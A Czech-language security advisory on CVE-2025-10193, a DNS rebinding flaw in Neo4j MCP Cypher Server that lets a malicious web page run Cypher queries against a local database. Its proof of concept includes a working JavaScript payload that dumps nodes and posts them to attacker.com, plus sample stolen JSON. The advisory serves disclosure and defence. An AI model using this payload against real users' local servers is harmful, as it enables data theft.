Neo4j MCP Cypher Server je zranitelný převzetím databáze pomocí DNS rebindingu
Autor: Evan Harris
Dotčená komponenta: Neo4j MCP Cypher Server
Zranitelné verze: 0.2.2 až 0.3.1
CVE: CVE-2025-10193
Skóre CVSS 4.0: 7.4 (Vysoké) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Přehled
Neo4j MCP Cypher Server poskytuje HTTP endpoint pro spouštění dotazů Cypher proti databázi Neo4j.
MCPSec objevil v serveru zranitelnost typu DNS rebinding, která vzdáleným útočníkům umožňuje obejít bezpečnostní zásady prohlížeče a spouštět libovolné dotazy Cypher proti instanci databáze dostupné přes MCP.
Neo4j tento problém opravil ve verzi v0.4.0. Všichni uživatelé dotčených verzí by měli okamžitě aktualizovat.
Stejným způsobem selhávají i další nástroje popsané na tomto webu: Zranitelnost DNS rebinding v transportu SSE serveru Vet MCP a Exfiltrace a zničení dat v MLflow kvůli chybějící validaci Origin (DNS rebinding).
Dopad
Útočníci získají plný POST přístup k endpointu /api/mcp, který obsluhuje lokální Neo4j MCP Cypher Server.
To umožňuje neoprávněné spuštění libovolného dotazu Cypher, čímž útočník fakticky získá plnou administrátorskou kontrolu nad databází Neo4j. To může vést k:
- Úplné exfiltraci citlivých informací uložených v databázi.
- Neoprávněné úpravě dat nebo jejich poškození.
- Smazání dat a odepření služby.
Útok DNS rebinding lze provést během několika sekund poté, co oběť navštíví škodlivou webovou stránku, a vyžaduje pouze to, aby oběť měla zranitelný server spuštěný lokálně.
Proof of Concept
Scénář útoku předpokládá, že:
- Oběť provozuje zranitelnou verzi Neo4j MCP Cypher Serveru na svém lokálním počítači.
- Oběť přejde na škodlivou webovou stránku ovládanou útočníkem.
- Webová stránka provede útok DNS rebinding a přiměje prohlížeč oběti odesílat příkazy na server Neo4j.
Po dokončení rebindingu může útočník využít prohlížeč oběti k odesílání škodlivých dotazů Cypher na lokálně obsluhovaný endpoint /api/mcp. Data pak lze exfiltrovat na server útočníka, případně je manipulovat a mazat.
MCPSec provedl útok typu proof of concept následujícími kroky:
-
Nasazení aplikace pro DNS rebinding (např. Singularity of Origin).
-
Sestavení JavaScriptového payloadu obsluhovaného škodlivou webovou stránkou pro spuštění dotazu a exfiltraci dat.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Spuštění serveru pro sběr dat, který přijme POST požadavek obsahující ukradený obsah databáze.
Následuje příklad JSON dat exfiltrovaných z databáze oběti, obsahujících potenciálně citlivé informace o uživatelích.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Doporučená zmírňující opatření
Pro uživatele (okamžitě)
- Okamžitě aktualizujte na
mcp-neo4j-cypherverzi v0.4.0 nebo novější. Tato verze obsahuje opravu, která validuje HTTP hlavičkuHost, aby tomuto útoku zabránila. - Pokud nemůžete aktualizovat, přejděte z HTTP na stdio. Alternativně před svůj Neo4j Cypher MCP Server zařaďte filtr síťových požadavků, který vás ochrání před neplatnými hlavičkami host.
Tato zranitelnost byla nahlášena týmu Neo4j v souladu s postupy odpovědného zveřejnění. Tým zareagoval rychle, aby problém ověřil a opravil.
Časová osa zveřejnění
- 2025-09-08: Neo4j potvrzuje přijetí hlášení.
- 2025-09-09: Neo4j uznává riziko plynoucí z tohoto útočného vektoru.
- 2025-09-09: Týmu Neo4j poskytnuty podrobné pokyny a příklady nápravy.
- 2025-09-09: Neo4j vytváří pull request s obrannými opatřeními.
- 2025-09-11: Vydána opravená verze v0.4.0.
- 2025-09-11: Přiděleno CVE-2025-10193 a zveřejněno GitHub Security Advisory.
- 2025-09-12: Dohodnuto datum zveřejnění technického bezpečnostního upozornění.
- 2025-10-13: Technické bezpečnostní upozornění zveřejněno.
Závěr
Zranitelnost typu DNS rebinding v Neo4j MCP Cypher Serveru poukazuje na vysoké bezpečnostní riziko u vývojářských nástrojů, které vystavují lokální databázová rozhraní. Ačkoli tyto služby poskytují výkonnou lokální funkcionalitu, mohou se stát vstupní branou pro webové útoky, pokud nejsou řádně zabezpečeny. To může vést k úplné kompromitaci citlivých dat.
Poděkování patří týmu Neo4j za profesionální a rychlou reakci při opravě této zranitelnosti. Všichni uživatelé dotčené komponenty by měli aktualizovat na nejnovější verzi, aby zajistili ochranu svých dat.